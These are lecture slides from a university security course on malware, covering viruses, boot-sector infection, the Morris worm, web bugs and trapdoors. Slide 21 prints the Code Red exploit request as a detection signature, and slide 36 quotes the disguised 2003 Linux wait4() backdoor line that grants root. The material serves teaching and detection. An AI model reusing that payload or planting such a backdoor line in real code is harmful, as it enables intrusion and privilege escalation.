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Malware Week 3 1 CIS-5373: 27.January.2020 Announcement! First - PowerPoint PPT Presentation

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Malware Week 3 1 CIS-5373: 27.January.2020 Announcement! First homework is out! Check out the class webpage Due in two weeks from today, in class 2 CIS-5373: 27.January.2020 In this lecture Viruses How they attach How

  1. Malware Week 3 1 CIS-5373: 27.January.2020

  2. Announcement!  First homework is out!  Check out the class webpage  Due in two weeks from today, in class 2 CIS-5373: 27.January.2020

  3. In this lecture  Viruses  How they attach  How they gain control  Where they are stored  Detection …  Worms  Web Bugs  Trapdoors  … 3 CIS-5373: 27.January.2020

  4. Qualities of Virus  Hard to detect  Not easily destroyed or deactivated  Spreads widely  Can re-infect home program/other programs  Easy to create  Machine/OS independent 4 CIS-5373: 27.January.2020

  5. How Viruses Invade 1. Virus is on CD When executed, the virus can  Install on hard drive  Attach to any executing program in memory  2. E-mail virus The attacker convince victim to open attachment  Executable file  Graphics, photos …  5 CIS-5373: 27.January.2020

  6. How Viruses Attach Append to Program  Surround Program  Integrate into Program  Overwrite Program  6 CIS-5373: 27.January.2020

  7. Apending Virus Add to beginning of target  First instruction of new program  Virus Targeted Virus Original Executable Program Virus writer doesn’t need to know target program 7 CIS-5373: 27.January.2020

  8. Surrounding Virus Add to beginning and end of target  Control before and after target program  Virus A Original Virus Program Targeted Executable Virus B 8 CIS-5373: 27.January.2020

  9. Surrounding Virus - Example Prevent user from detecting virus  Virus attaches to ls/dir command  When ls/dir completes, virus takes control  Eliminate entry from listing  Distribute space among other programs to hide size  9 CIS-5373: 27.January.2020

  10. Integrated Virus Replace some of target  Virus Targeted Virus Infected Executable host Executable Virus writer needs to know target program 10 CIS-5373: 27.January.2020

  11. Integrated Virus (cont’d) Virus Part 1 Targeted Virus Executable Virus Part 2 Virus Part n 11 CIS-5373: 27.January.2020

  12. Overwriting Virus Replace entire target  Mimick effect of target or  Not – user likely to perceive virus  Targeted Virus Virus Executable 12 CIS-5373: 27.January.2020

  13. Where Are Viruses Stored  One-Time execution  Boot sector  Memory resident 13 CIS-5373: 27.January.2020

  14. Where Are Viruses Stored  One-Time execution  Boot sector  Memory resident 14 CIS-5373: 27.January.2020

  15. Boot Sector  When computer starts  Firmware determines hardware components  Transfer control to OS  OS stored on disk  Bootstrap process:  Firmware reads boot sector to a fixed address in mem  Jump to that address  Boot sector contains the bootloader  Bootloader pulls the rest of the OS from disk 15 CIS-5373: 27.January.2020

  16. Boot Sector  Boot sector has 512 bytes  Bootstrap loader size > 512 bytes  Use chaining Boot sector Bootstrap Bstrap Ldr Bstrap Ldr Loader (bloc 2) (bloc 3) Hard Disk 16 CIS-5373: 27.January.2020

  17. Placing Virus in Boot Sector  The virus could be placed in any bootstrap sector  But … boot sector particularly appealing  Virus gains control right at the beginning  Protection tools are not yet active Boot sector Bootstrap Virus Code Bstrap Ldr Bstrap Ldr Loader (bloc 2) (bloc 3) Hard Disk 17 CIS-5373: 27.January.2020

  18. Example: The BRAIN Virus  Changes label of infected disks to BRAIN   From Pakistan (Believed)  Sole purpose: to pass the infection  Traps disk read interrupts  Only interested in reads in the boot sector  Believed to be proof-of-concept  Many other variants, more efficient … 18 CIS-5373: 27.January.2020

  19. The BRAIN Virus Location Before Boot Hard Drive sector After … BRAIN BRAIN BRAIN Boot BRAIN BRAIN BRAIN 1 3 1-dup sector 2-dup 3-dup 2 Marked as faulty 19 CIS-5373: 27.January.2020

  20. The BRAIN Virus Infection Memory Interrupt Address Table To upper BRAIN # 6 Reset Upper Memory Bound Code for # 19 interrupt 19 1. Locates in upper memory 2. System call to reset upper memory below it To lower 3. Traps interrupt #19 (disk read) 4. Any disk read for boot sector returns content of hijacked sector 20 CIS-5373: 27.January.2020

  21. Virus Detection: Signatures  Virus cannot be completely invisible  Code must be stored somewhere  Code must be in memory to execute Signature  Executes according to a pattern  Spreads using certain mechanisms  Example: Code Red GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801 %u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 %u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0 21 CIS-5373: 27.January.2020

  22. In this lecture  Viruses  Worms  Web Bugs  Trapdoors  … 22 CIS-5373: 27.January.2020

  23. What is a Worm  Reproducing programs that run independently and travel across network connections.  Unlike a simple virus, A worm can run completely independently and spread of its own will through network connections . 23 CIS-5373: 27.January.2020

  24. Example: The Internet Worm  November 2 nd 1988  Internet Worm released  Infected many computers  Many more severed network connection  Robert T. Morris Jr.  $10,000 fine  3 year suspended jail sentence  400 hours community service  Now with MIT 24 CIS-5373: 27.January.2020

  25. Intent of Internet Worm 1. Determine where it could spread 2. Spread to new target 3. Remain undiscovered and undiscoverable 25 CIS-5373: 27.January.2020

  26. Determine Targets Exploited three known vulnerabilities  1. Find user accounts to invade on target system Exploit password vulnerabilities  2. Fingerd: daemon which responds to queries about users Known buffer overflow vulnerability  Give worm a remote shell  3. Sendmail trapdoor In debug mode, sendmail can execute input string  26 CIS-5373: 27.January.2020

  27. Spread Infection Send a bootstrap loader to target machine  99 lines of C code  Compile and execute on target machine  Fetch rest of worm code from the sending system  Element of good security   Bootstrap loader required to provide password to  sending system If fail, sending system breaks connection  27 CIS-5373: 27.January.2020

  28. Remain Undiscovered 1. If transmission error occurs during worm fetch Bootstrap loader removes code and exits  2. Bring all worm code in memory Encrypt copy in memory  Delete copy from disk  Thus, the worm cannot easily be discovered  3. Periodic change of name and process id Avoid single process running a long time  28 CIS-5373: 27.January.2020

  29. Effect of Internet Worm 1. Resource exhaustion If target was already infected, don’t propagate  Bug in code (  ): many copies did not terminate !  Thus, serious performance degradation  2. Disconnection of machines from Internet To prevent copies from trying to propagate  … or to prevent infection  3. Isolation and inability to perform work Estimated cost $100,000 - $97 million  Thousands of systems were disconnected  29 CIS-5373: 27.January.2020

  30. What do we cover  Viruses  Worms  Web Bugs  Trapdoors  Salami Attack  Rootkits  Privilege Escalation  Keystroke Logging  Covert Channels 30 CIS-5373: 27.January.2020

  31. Web Bugs  Pixel tag, clear gif/one-by-one/invisible gif  Part of a web page  Invisible to user  Track activities of the user  Plants a cookie in your computer 31 CIS-5373: 27.January.2020

  32. Cookies  Set by web sites  To push storage from web sites to user platform  Have 6 fields  (name, value, expiration, path to server, server domain, SSL-req?)  Used to remember values for subsequent usage  (“visa credit card”, 1234 1234 1234 1234, …)  (“user id”, carbunar, …)  (“password”, ****, …)  Used to build browsing profile  (“visits for www.abc.com”, 10, …) 32 CIS-5373: 27.January.2020

  33. Web Bugs (cont’d)  Plant cookie on user computer to track web use  Can be used for good or bad purposes  How ?  Can build a profile for the user containing  Surfing habits  Personal data: name, DOB, address, IP address, etc 33 CIS-5373: 27.January.2020

  34. What do we cover  Viruses  Worms  Web Bugs  Trapdoors  Salami Attack  Rootkits  Privilege Escalation  Keystroke Logging  Covert Channels 34 CIS-5373: 27.January.2020

  35. Trapdoors  Undocumented entry point to a software module  For testing purposes  For future updates  For access in case of future failures 35 CIS-5373: 27.January.2020

  36. Trapdoor: Example  Hidden trap door in Linux, Nov 2003  Allows attacker to take over a computer  Practically undetectable change  Uncovered by anomaly in CVS usage  Inserted line in wait4() if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;  Looks like a standard error check  Anyone see the problem? See: http://lwn.net/Articles/57135/ 36 CIS-5373: 27.January.2020

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